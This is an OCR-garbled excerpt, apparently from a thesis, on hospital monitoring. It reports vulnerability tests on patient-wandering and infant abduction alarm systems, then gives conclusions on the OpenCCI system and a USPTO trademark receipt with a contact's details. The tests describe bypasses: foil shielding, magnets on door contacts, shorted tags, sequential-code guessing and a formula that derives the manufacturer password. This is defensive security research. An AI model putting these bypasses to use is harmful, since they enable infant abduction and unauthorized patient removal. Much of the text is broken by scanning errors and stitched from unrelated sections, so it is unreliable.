TID = received bracelet tag within proximity: (if no signal received’I D = 0)
DOpen = door contact state:
if door is closedhen
door contacttate = 0
else ifdoor is operthen
door contacktate = 1
end if
if (TID 0)&(DOpen = 0)then
Set(Magnetic lock relay ON)
end if
if (TID 0)&(DOpen = 1)then
Set(Magnetic lock relay ON, acoustic alarm ON)
end if
while acoustic alarm ONlo
if (valid client password enterett)en
Reset(Magnetic lock relay OFF, acoustic alarm OFF)
end if
end while

21: end while
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Bracelet Tag

Casel In three separate incidents, patients were able to cut thpsstising their teeth. In
one of these incidents the patient was able to leave thatyawaihich led security

officers to search surrounding areas.

Case2 Covering the body of the transponder with Aluminum foil prated radio waves
from reaching antennas and lead to escorting a patientghrpartal control devices

without generating an alarm.

Portal Control Device

Casel The physical device enclosure is a box secured by a singenAtrew. Using
an Allen key, the BNC antenna connector was disconnectesing the device in
a deaf state to bracelet tag transmitted signal; the pattastescorted through the

portal control device without generating an alarm.

Case?2 Approaching a magnet to the surface mount door contact ptegi¢he sensor from
detecting that the door was open; the patient was escontedgh the portal control

device without generating an alarm.

Case3 Using sequences of 4 consecutive numbers to access thegevic

v=(a,a+1,a+2,a+3) (13.8)

foro<a<5b
A client login access was granted, followed by disablingdtem and the patient

was escorted through the portal control device without geimey an alarm.
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Case4 Cracking the encryption function for theanu f acturer — password, leading to an
unauthorized access to any portal control device evendritee healthcare facility,
where the experiments were conducted. Thewu facturer — password is usually
requested from the manufacturer in case that the admin padswas lost or if the
monitor is not responding to an entry. In our case the modiibnot respond to the
entry. Tech support asked ftthe Hour digit’ and 'the Serial numberand gave me
the manu facturer — password to get into the device. Before using thessword

the Hour digit did incrementso it rejected theassword. Tech support provided a

seconvassword that matched the hour digit. we discovered thenu facturer —
password is encrypted with a very simple linear equation, and usiregdbllected

data it was a simple task to find out the coefficients for thedirencryption function,

Password(S, H) = S128 + H256 (13.9)

whereS' is the device serial number ariflis the Hour digit on the device.
A manufacturer login access was granted, followed by disglihe alarm and the

patient was escorted through the portal control deviceawitiyenerating an alarm.

The portal control device and the exit door were selectedetanba quiet area, where
vulnerability tests were executed without interruptidntemarkable observation was that

the nurse client password was written beside one of the pootatrol devices.



238

13.4 Infant Abduction Protection System Vulnerabilities

Abduction drills were experimented on an adult to simul&te sensing, concurrently with
using an infant doll to have realistic abduction scenadarms and warnings generation
rules are executed on the Controller PC and can be describedtlned in the algorithm

on the next page.

Infant Tag

Casel Using a piece of conducting wire, the wire terminals werenemted to the transpon-
der contactginfant Tag Version-1)and the strap was cut and the infant tag was iso-
lated from the infant doll. The infant doll was escorted ofitree security zone,

without generating alarms.

Case2 Using a piece of conducting wire, the wire terminals werenemted to the transpon-
der contactgInfant Tag Version-2)and the strap was cut. Then the transponder was
slid to an assistant hand to maintain skin sensitivity tigiothe biometric sensor, and
the infant tag was isolated from the infant doll. The infaall dvas escorted out of

the security zone, without generating alarms.

Case3 Covering the body of the transponder with Aluminum foil pgated radio waves to
reach coverage area receivers. The system did not gengratéabalarm, although
the system generated a supervision time out alarm after 5 lninthe alarm was
cleared manually by a nurse from a remote PC client c. Thaimfall was escorted

out of the security zone.
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Portal Exciters

Approaching a magnet to the surface mount door contact ptegtehe sensor from de-
tecting that the door was open; the system did not generabetal plarm, although
the system generated a supervision time out alarm after Shumirthe 5 min window
was enough time to leave the facility. The infant doll wasoetsdl out of the security

Zone.

Controller PC

The controller PC had its drive shared on the LAN to allow &iddal client PC to access
the data base for monitoring and reporting. Having a sharee dn the hospital
network, allows unauthorized access to the applicatios fifel data base. Tampering
with those files could put the controller PC out of serviceeesgly given that the
LAN connected to the workstations is not a dedicated isdlattwork as it should

be.
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Algorithm 3 I. A. P. Controller PC

1: while truedo

2:

10:
11:
12:
13:
14.
15:
16:

17:
18:
19:
20:
21:
22:
23:
24.

©CoNO kR

if (Infant tag transmits Portal Message from a portal excifeAXD (Portal exciter
X door contacts reports an open dothgn
portalAlarm = true
else
portalAlarm = false
end if
if (Infant tag transmits Tamper Messagfegn
tamperAlarm = true
else
tamperAlarm = false
end if
if (Received Supervision Message from tdmn
supervisionTimeoutAlarm = false
timeReceivedSupervisionMessage = Date.Time.Now
else
if (timeReceivedSupervisionMessage - Date.Time.Now) ¢, $paa(5 minutes)
then
supervisionTimeoutAlarm = true
end if
end if
if (Infant tag transmits a Loose Tag Messathen
tagLooseWarningAlarm = true
else
tagLooseWarningAlarm = false
end if

25: end while
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Figure 13.2.3(a) Number of distinct keys generated in a complete pernamatb) Effi-
ciency of generating distinct keys.
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CHAPTER 14

CONCLUSION

The OpenCCiMhas proven successful at functional risk reduction, basedtaJoseph’s
Healthcare System testimonial letter, which indicatessiygtem served as an asset and a

reliable alarm notification system to the respiratory tpesiinside the critical care unit.

The architecture and the design of the system facilitatesniiplementation of the UPTA
as an enabling technology, which presents a contributimards wireless interconnection

between the heterogeneous devices in critical care rooms.

We have successfully developed translators for $hevoi, Servo300 and theMaquet

ventilators family, which are operational in our beta dgpient.

Due to the fact that the system’s operation was modeled mmattieally we are able to

prove and evaluate the correctness and the stability ofy$ters.

The mathematical model was successfully implemented dk/afierating stimulator. The
discrete event simulation of the system allows us to measdeunderstand the bench-
marks of the system without executing any of the scenaridbarreal life deployment,
which may result in endangering patients or causing ingutieough the test cases applied

to the system.

The OpenCCiMtechnology has a great potential in enhancing the critiaad service,

and contributing in solving the interoperability problerithe benefits of deploying the



243

technology based on the analysis of the simulations of th@eméacilitate a better patient
to nurse ratio or at least decrease the risk factor and theyitgvels currently observed in

critical care units.

System design objectives have been fully met. In partictherOpenCCiMsystem aggre-

gates different types of patient vital sign monitors. Itjgogis alarm data acquisition from
a heterogeneous set of devices. Integrating additionalieedequires minimal expansion
cost. The system facilitated mobility for both the patieatsl the caregivers. All system

data communication protocols are compliant with HIPAA slizals.

Collectively, the field deployment results and the simuolatsystem results verifies the
effectiveness and the scalability of the system in diveesting)s, and shows that the system

provides benefits in terms of injury prevention.
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CHAPTER 15

FUTURE WORK

We are looking forward to extend our system and to considefdhowing in our future

work:

e Patients with dynamic number of vital signs and this norfarm number of vital

signs through the system.

e Allowing each patient to exhibit different alarm interdaed times for vital signi,

with a different local intensity\ (7).

e A caregiver who is assigned to a patient may not resolvealhatonditions depend-

ing on a skill set unique for every caregiver.
e Adopting different patient injury models, and evaluatihgit impact on the system.
e Considering non-linear caregiver service time with respepatient injury.

e Considering possible delays in caregiver arrival, andsitaom between patients.

We are looking forward to more future deployments to eva@atd assist the results sim-
ulated by the system, and to fine tune it, in order to be addptadeal critical care unit

environment.

e Straw model at Roosevelt Hospital Intensive Care Unit.
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e Alpha deployment at St. Luke Hospital Critical Care Unit.

Expanding the UPTA library to include most of the devicesaamtered in a critical care

unit.

e Drager Evita

e Drager Carina

e Drager Savina

e Puritan Benett 7200

e Bird 8400

e Abbott Plum A+

e Abbott Plum 5000

e Cardinal Signature 7230

e Baxter Travenol 6300

e Sigma 8000

e Datex Ohmeda RGM 5250
e GE Marquette Apex Pro CCH
e Nellcor OxiMax N-600

e Welch Allyn Portable Pulse

e eftc...
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PATENT APPLICATION

Patent application number PCT/US2010/031564
Filed on April 19, 2010

Status Patent Pending
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MARK: OpenCClI (Standard Characters, mark.jpg)
The literal element of the mark consists of OpenCCI.
The mark consists of standard characters, without claim to any particular font, style, size, or color.

We have received your application and assigned serial number '77701032' to your submission. The
summary of the application data, bottom below, serves as your official filing receipt. In approximately
3 months, an assigned examining attorney will review your application. Currently, your mark is not
registered, but rather is considered a "pending" application. The overall process, from the time of initial
filing to final registration, can take 13-18 months or even longer, depending on many factors; e.g., the
correctness of the original filing and the type of application filed.

If you discover an error in the application data, you may file a preliminary amendment, at
http://teas.uspto.gov/teas/eTEASpageB2.htm. Do not submit any proposed amendment to

TEAS @uspto.gov, because the technical support team may not make any data changes. NOTE:You
must wait approximately 7-10 days to submit any preliminary amendment, to permit initial upload of
your serial number into the USPTO database. The acceptability of any preliminary amendment will
only be determined once regular examination begins, since the assigned examining attorney must
decide whether the change proposed in the amendment is permissible. Not all errors may be corrected;
e.g., if you submitted the wrong mark, if the proposed correction would be considered a material
alteration to your original filing, it will not be accepted, and your only recourse would be to file a new
application (with no refund for your original filing).

Since your application filing has already been assigned a serial number, please do not contact

TEAS @uspto.gov to request cancellation. The USPTO will only cancel the filing and refund your fee if
upon review we determine that the application did not meet minimum filing requirements. The fee is a
processing fee that the USPTO does not refund, even if your mark does not proceed to registration.
NOTE: The only "exception" to the above is if you inadvertently file duplicate applications
specifically because of a technical glitch and not merely a misunderstanding or mistake; i.e., if you
believe that the first filing did not go through because no confirmation was received and then
immediately file again, only to discover later that both filings were successful, then the technical
support team at TEAS @uspto.gov can mis-assign and refund one of the filings.

NOTE: To check status, please use http://tarr.uspto.gov. Do not submit status requests to

TEAS @uspto.gov. You should check status at the 6-month point after filing, and every two months
thereafter, to ensure you are aware of any action that the Office may have issued. Failure to respond
timely to an action will result in abandonment of your application. You can view all incoming and
outgoing correspondence at http://portal.uspto.gov/external/portal/tow. If your status check reveals an
action has issued that you did not receive, please immediately check the on-line site to view the action.
The USPTO does not extend filing deadlines due to a failure to receive USPTO mailings/e-mailings.
You must ensure that you update your record if your mail and/or e-mail address changes, using the
form available at http://www.uspto.gov/teas/eTEASpageE.htm.

WARNING: You may receive unsolicited communications from companies requesting fees for
trademark related services, such as monitoring and document filing. Although solicitations from these
companies frequently display customer-specific information, including USPTO serial number or
registration number and owner name, companies who offer these services are not affiliated or
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associated with the USPTO or any other federal agency. The USPTO does not provide trademark
monitoring or any similar services. For general information on filing and maintenance requirements for
trademark applications and registrations, including fees required by law, please consult the USPTO
website.

APPLICATION DATA: Trademark/Service Mark Application, Principal Register TEAS Plus
Application

The applicant, MicroJan Inc., a corporation of New York, having an address of

United States
requests registration of the trademark/service mark identified above in the United States Patent and
Trademark Office on the Principal Register established by the Act of July 5, 1946 (15 U.S.C. Section
1051 et seq.), as amended, for the following:

International Class 042: Computer programming and software design; Computer programming in
the medical field; Computer programming services; Data conversion of computer program data or
information
Intent to Use: The applicant has a bona fide intention to use or use through the applicant's related
company or licensee the mark in commerce on or in connection with the identified goods and/or
services. (15 U.S.C. Section 1051(b)).

Correspondence Information: Mohamed K Saad

(646) 292-5124(fax)
mohamed @ microjan.com (authorized)

A fee payment in the amount of $275 will be submitted with the application, representing payment for
1 class(es).

Declaration

The undersigned, being hereby warned that willful false statements and the like so made are punishable
by fine or imprisonment, or both, under 18 U.S.C. Section 1001, and that such willful false statements,
and the like, may jeopardize the validity of the application or any resulting registration, declares that
he/she is properly authorized to execute this application on behalf of the applicant; he/she believes the
applicant to be the owner of the trademark/service mark sought to be registered, or, if the application is
being filed under 15 U.S.C. Section 1051(b), he/she believes applicant to be entitled to use such mark
in commerce; to the best of his/her knowledge and belief no other person, firm, corporation, or
association has the right to use the mark in commerce, either in the identical form thereof or in such
near resemblance thereto as to be likely, when used on or in connection with the goods/services of such
other person, to cause confusion, or to cause mistake, or to deceive; and that all statements made of
his/her own knowledge are true; and that all statements made on information and belief are believed to
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be true.
Declaration Signature

Signature: Date: 03/27/2009
Signatory's Name: Mohamed K. Saad
Signatory's Position: Owner

Thank you,

The TEAS support team

Fri Mar 27 15:17:50 EDT 2009

STAMP: USPTO/FTK-207.145.241.18-20090327151750294482-77701032-
400e5bbec167de9ff4a8c2cel1522ade-
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